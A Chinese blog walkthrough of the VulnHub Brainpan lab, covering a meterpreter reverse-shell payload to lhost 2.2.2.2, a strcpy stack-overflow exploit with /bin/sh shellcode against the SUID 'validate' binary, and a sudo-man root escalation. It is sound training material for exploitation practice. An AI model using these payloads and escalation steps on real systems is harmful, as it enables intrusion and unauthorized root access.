web选手入门pwn(7)

admin 2023年1月31日12:11:00评论45 views字数 2004阅读6分40秒阅读模式

上一篇文章提到的brainpan.exe是一个靶机,这个靶机后续还有个pwn,于是一并说了。

http://www.vulnhub.com/entry/brainpan-1,51/

https://github.com/kezibei/pwn_study/blob/main/validate

1.    brainpan.exe反弹shell

该靶机在10000端口上放了brainpan.exe。

web选手入门pwn(7)

在9999端口用wine开启brainpan.exe,因此需要反弹linux shell。

msfvenom -p "linux/x86/meterpreter/reverse_tcp" lhost=2.2.2.2 lport=5667 exitfunc=thread -b "x00" -f c

具体payload该怎么写参考上一篇文章,成功获得shell,接下来要提权到root。

web选手入门pwn(7)

国外的靶机很多时候都是SUID提权,搜索带S权限的执行文件。

web选手入门pwn(7)

找到了我们今天的主角validate,查看所有权,是另外一个用户。

web选手入门pwn(7)

利用msf的download命令下载下来,发现是第二个pwn题。

2.    validate

这题和ret2stack差不多,先看保护。

web选手入门pwn(7)

什么都没有,特别是NX都关了,这种一般就是为了让你在栈上执行shellcode。
再去ida上看反编译代码。

web选手入门pwn(7)

跟进validate()发现溢出点strcpy()

web选手入门pwn(7)

这里会循环传参的每个字节,如果存在F直接退出,似乎干扰了一下payload不允许存在F,但实际无所谓。

web选手入门pwn(7)

还是手动调试找偏移量,这里gdb里b strcpy无法下到断点,直接b main或者b validate的话由于有for循环,手动跟踪到strcpy也比较麻烦。我们可以在代码中下断。
disass validate
b* 0x08048527

web选手入门pwn(7)

然后调试到溢出时的栈布局
r AAAA
n
stack 50

web选手入门pwn(7)

eax,ebp,ret一目了然,偏移量为116。

web选手入门pwn(7)

这题不存在后门函数,可以用exit来测试一下payload。
./validate `python -c 'print("A"*116+"x08x04x83xec"[::-1])'`

完美,这种最传统的栈溢出,只需要将shellcode放在栈上,也就是成为116个A的一部分,或者放在ret地址后面。ret地址再指向shellcode在栈地址就行了(栈地址没有00),但经过ret2stack的学习,我们知道了这个栈地址受很多因素影响(ALSR/环境变量),gdb中调试出来的答案,直接溢出很大可能不成功。
我们先按ret2stack的NOP解决方案尝试溢出,在直接用上面的eax作为ret,shellcode用pwntools自带的asm(shellcraft.sh()),然后将shellcode放在116个NOP的中间。

b = "jhh///sh/binx89xe3hx01x01x01x01x814$rix01x011xc9Qjx04Yx01xe1Qx89xe11xd2jx0bXxcdx80"a = "x90"*36+b+"x90"*36+"xffxffxd1x28"[::-1]print(a)

关闭ALSR之后可以溢出成功。

web选手入门pwn(7)

在brainpan.exe中,我们是用jmp esp强制跳栈顶导致溢出,那么这题有吗
?以下是两种搜索方法。
ROPgadget --binary ./validate --only "jmp|esp"
objdump -d validate | grep jmp | grep esp

web选手入门pwn(7)

都没有,甚至和jmp相关的都指向代码段。但除了jmp之外,还有call给我们利用。

web选手入门pwn(7)

call eax,在ida中查看对应地址,发现frame_dummy,似乎又是留给我们的后门函数。

web选手入门pwn(7)

eax也能利用吗?gdb调试查看eax全程指向地址。

web选手入门pwn(7)

从strcpy一直到执行栈中的NOP,都指向0xffffd0b8,那么答案就清晰了。

validate `python -c 'print("x90"*36+"jhh///sh/binx89xe3hx01x01x01x01x814$rix01x011xc9Qjx04Yx01xe1Qx89xe11xd2jx0bXxcdx80"+"x90"*36+"x08x04x84xAF"[::-1])'`

web选手入门pwn(7)


3.    提权

回到msf,使用我们的payload,提权到anansi。

web选手入门pwn(7)

看看用户目录里有什么

web选手入门pwn(7)

有个anansi_util的二进制文件,但没有s权限,用户也是它自己,sudo -l之后发现它拥有无密码sudo的配置。

web选手入门pwn(7)

变相的SUID,难道又是个pwn?

将其复制到tmp目录后,用msf下载回来,ida打开看源码。

web选手入门pwn(7)

本质上就是ip,man,top的SUID,其中man可以用来提权。

sudo /home/anansi/bin/anansi_util manual man

!/bin/sh

web选手入门pwn(7)


原文始发于微信公众号(珂技知识分享):web选手入门pwn(7)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月31日12:11:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web选手入门pwn(7)https://cn-sec.com/archives/1346527.html

发表评论

匿名网友 填写信息